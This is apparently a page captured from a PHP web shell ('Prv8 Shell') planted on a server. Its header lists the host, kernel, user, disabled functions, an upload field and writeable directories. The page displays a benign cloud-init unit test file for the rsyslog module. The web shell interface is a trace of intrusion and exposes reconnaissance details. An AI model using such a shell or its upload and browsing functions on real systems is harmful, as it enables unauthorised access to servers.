Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/src/cloud-init/tests/unittests/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/src/cloud-init/tests/unittests/config/test_cc_rsyslog.py
# This file is part of cloud-init. See LICENSE file for license information.

import os
import re
import shutil
import tempfile
from functools import partial
from typing import Optional

import pytest

from cloudinit import util
from cloudinit.config.cc_rsyslog import (
    DEF_DIR,
    DEF_FILENAME,
    DEF_RELOAD,
    apply_rsyslog_changes,
    load_config,
    parse_remotes_line,
    remotes_to_rsyslog_cfg,
)
from cloudinit.config.schema import (
    SchemaValidationError,
    get_schema,
    validate_cloudconfig_schema,
)
from tests.unittests.helpers import TestCase, skipUnlessJsonSchema


class TestLoadConfig(TestCase):
    def setUp(self):
        super(TestLoadConfig, self).setUp()
        self.basecfg = {
            "config_filename": DEF_FILENAME,
            "config_dir": DEF_DIR,
            "service_reload_command": DEF_RELOAD,
            "configs": [],
            "remotes": {},
        }

    def test_legacy_full(self):
        found = load_config(
            {
                "rsyslog": ["*.* @192.168.1.1"],
                "rsyslog_dir": "mydir",
                "rsyslog_filename": "myfilename",
            }
        )
        self.basecfg.update(
            {
                "configs": ["*.* @192.168.1.1"],
                "config_dir": "mydir",
                "config_filename": "myfilename",
                "service_reload_command": "auto",
            }
        )

        self.assertEqual(found, self.basecfg)

    def test_legacy_defaults(self):
        found = load_config({"rsyslog": ["*.* @192.168.1.1"]})
        self.basecfg.update({"configs": ["*.* @192.168.1.1"]})
        self.assertEqual(found, self.basecfg)

    def test_new_defaults(self):
        self.assertEqual(load_config({}), self.basecfg)

    def test_new_configs(self):
        cfgs = ["*.* myhost", "*.* my2host"]
        self.basecfg.update({"configs": cfgs})
        self.assertEqual(
            load_config({"rsyslog": {"configs": cfgs}}), self.basecfg
        )


class TestApplyChanges(TestCase):
    def setUp(self):
        self.tmp = tempfile.mkdtemp()
        self.addCleanup(shutil.rmtree, self.tmp)

    def test_simple(self):
        cfgline = "*.* foohost"
        changed = apply_rsyslog_changes(
            configs=[cfgline], def_fname="foo.cfg", cfg_dir=self.tmp
        )

        fname = os.path.join(self.tmp, "foo.cfg")
        self.assertEqual([fname], changed)
        self.assertEqual(util.load_file(fname), cfgline + "\n")

    def test_multiple_files(self):
        configs = [
            "*.* foohost",
            {"content": "abc", "filename": "my.cfg"},
            {
                "content": "filefoo-content",
                "filename": os.path.join(self.tmp, "mydir/mycfg"),
            },
        ]

        changed = apply_rsyslog_changes(
            configs=configs, def_fname="default.cfg", cfg_dir=self.tmp
        )

        expected = [
            (os.path.join(self.tmp, "default.cfg"), "*.* foohost\n"),
            (os.path.join(self.tmp, "my.cfg"), "abc\n"),
            (os.path.join(self.tmp, "mydir/mycfg"), "filefoo-content\n"),
        ]
        self.assertEqual([f[0] for f in expected], changed)
        actual = []
        for fname, _content in expected:
            util.load_file(fname)
            actual.append(
                (
                    fname,
                    util.load_file(fname),
                )
            )
        self.assertEqual(expected, actual)

    def test_repeat_def(self):
        configs = ["*.* foohost", "*.warn otherhost"]

        changed = apply_rsyslog_changes(
            configs=configs, def_fname="default.cfg", cfg_dir=self.tmp
        )

        fname = os.path.join(self.tmp, "default.cfg")
        self.assertEqual([fname], changed)

        expected_content = "\n".join([c for c in configs]) + "\n"
        found_content = util.load_file(fname)
        self.assertEqual(expected_content, found_content)

    def test_multiline_content(self):
        configs = ["line1", "line2\nline3\n"]

        apply_rsyslog_changes(
            configs=configs, def_fname="default.cfg", cfg_dir=self.tmp
        )

        fname = os.path.join(self.tmp, "default.cfg")
        expected_content = "\n".join([c for c in configs])
        found_content = util.load_file(fname)
        self.assertEqual(expected_content, found_content)


class TestParseRemotesLine(TestCase):
    def test_valid_port(self):
        r = parse_remotes_line("foo:9")
        self.assertEqual(9, r.port)

    def test_invalid_port(self):
        with self.assertRaises(ValueError):
            parse_remotes_line("*.* foo:abc")

    def test_valid_ipv6(self):
        r = parse_remotes_line("*.* [::1]")
        self.assertEqual("*.* @[::1]", str(r))

    def test_valid_ipv6_with_port(self):
        r = parse_remotes_line("*.* [::1]:100")
        self.assertEqual(r.port, 100)
        self.assertEqual(r.addr, "::1")
        self.assertEqual("*.* @[::1]:100", str(r))

    def test_invalid_multiple_colon(self):
        with self.assertRaises(ValueError):
            parse_remotes_line("*.* ::1:100")

    def test_name_in_string(self):
        r = parse_remotes_line("syslog.host", name="foobar")
        self.assertEqual("*.* @syslog.host # foobar", str(r))


class TestRemotesToSyslog(TestCase):
    def test_simple(self):
        # str rendered line must appear in remotes_to_ryslog_cfg return
        mycfg = "*.* myhost"
        myline = str(parse_remotes_line(mycfg, name="myname"))
        r = remotes_to_rsyslog_cfg({"myname": mycfg})
        lines = r.splitlines()
        self.assertEqual(1, len(lines))
        self.assertTrue(myline in r.splitlines())

    def test_header_footer(self):
        header = "#foo head"
        footer = "#foo foot"
        r = remotes_to_rsyslog_cfg(
            {"myname": "*.* myhost"}, header=header, footer=footer
        )
        lines = r.splitlines()
        self.assertTrue(header, lines[0])
        self.assertTrue(footer, lines[-1])

    def test_with_empty_or_null(self):
        mycfg = "*.* myhost"
        myline = str(parse_remotes_line(mycfg, name="myname"))
        r = remotes_to_rsyslog_cfg(
            {"myname": mycfg, "removed": None, "removed2": ""}
        )
        lines = r.splitlines()
        self.assertEqual(1, len(lines))
        self.assertTrue(myline in r.splitlines())


class TestRsyslogSchema:
    @pytest.mark.parametrize(
        "config, error_msg",
        [
            ({"rsyslog": {"remotes": {"any": "string"}}}, None),
            (
                {"rsyslog": {"unknown": "a"}},
                "Additional properties are not allowed",
            ),
            ({"rsyslog": {"configs": [{"filename": "a"}]}}, ""),
            (
                {
                    "rsyslog": {
                        "configs": [
                            {"filename": "a", "content": "a", "a": "a"}
                        ]
                    }
                },
                "",
            ),
            (
                {"rsyslog": {"remotes": ["a"]}},
                r"\['a'\] is not of type 'object'",
            ),
            ({"rsyslog": {"remotes": "a"}}, "'a' is not of type 'object"),
            ({"rsyslog": {"service_reload_command": "a"}}, ""),
        ],
    )
    @skipUnlessJsonSchema()
    def test_schema_validation(self, config, error_msg):
        if error_msg is None:
            validate_cloudconfig_schema(config, get_schema(), strict=True)
        else:
            with pytest.raises(SchemaValidationError, match=error_msg):
                validate_cloudconfig_schema(config, get_schema(), strict=True)


class TestInvalidKeyType:
    @pytest.mark.parametrize(
        "config, error_msg",
        [
            (
                {"rsyslog": {"configs": 1}},
                (
                    "Invalid type for key `configs`. Expected type(s): "
                    "<class 'list'>. Current type: <class 'int'>"
                ),
            ),
            (
                {"rsyslog": {"configs": [], "config_dir": 1}},
                (
                    "Invalid type for key `config_dir`. Expected type(s): "
                    "<class 'str'>. Current type: <class 'int'>"
                ),
            ),
            (
                {"rsyslog": {"configs": [], "config_filename": True}},
                (
                    "Invalid type for key `config_filename`. Expected type(s):"
                    " <class 'str'>. Current type: <class 'bool'>"
                ),
            ),
            (
                {"rsyslog": {"service_reload_command": 3.14}},
                (
                    "Invalid type for key `service_reload_command`. "
                    "Expected type(s): (<class 'str'>, <class 'list'>). "
                    "Current type: <class 'float'>"
                ),
            ),
            (
                {"rsyslog": {"remotes": ["1", 2, 3.14]}},
                (
                    "Invalid type for key `remotes`. Expected type(s): "
                    "<class 'dict'>. Current type: <class 'list'>"
                ),
            ),
        ],
    )
    def test_invalid_key_types(self, config: dict, error_msg: Optional[str]):
        callable_ = partial(load_config, config)
        if error_msg is None:
            callable_()
        else:
            with pytest.raises(ValueError, match=re.escape(error_msg)):
                callable_()


# vi: ts=4 expandtab

haha - 2025